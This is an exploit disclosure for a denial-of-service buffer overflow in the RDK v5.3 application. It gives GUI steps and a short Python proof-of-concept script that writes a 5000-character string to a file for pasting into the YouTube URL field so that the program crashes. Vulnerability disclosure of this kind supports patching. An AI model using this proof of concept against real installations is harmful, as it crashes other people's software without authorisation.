Exploit Title: RDK v5.3 - Buffer Overflow (DoS) Discovered by: Ahmet Ümit BAYRAM Discovered Date: 17.04.2024 Vendor Homepage: http://www.shenturk.com Software Link: http://www.shenturk.com/downloads/rdk-5.3-setup.rar Tested Version: v5.3 (latest) Tested on: Windows 10 32bit Steps to Reproduce Open the RDK application. Click on the "Plus" button. Select YouTube. Copy the contents of poc.txt and paste it into the "YouTube URL" field. Click Tamam to confirm. Locate the payload from the list and double-click it. The application should crash. Proof of Concept (PoC) The following script creates a poc.txt file containing a payload that causes a buffer overflow in RDK v5.3. #!/usr/bin/env python3 exploit = ‘A’ * 5000 try: with open("poc.txt", "w") as file: file.write(exploit) print("POC is created") except Exception as e: print("POC not created:", e)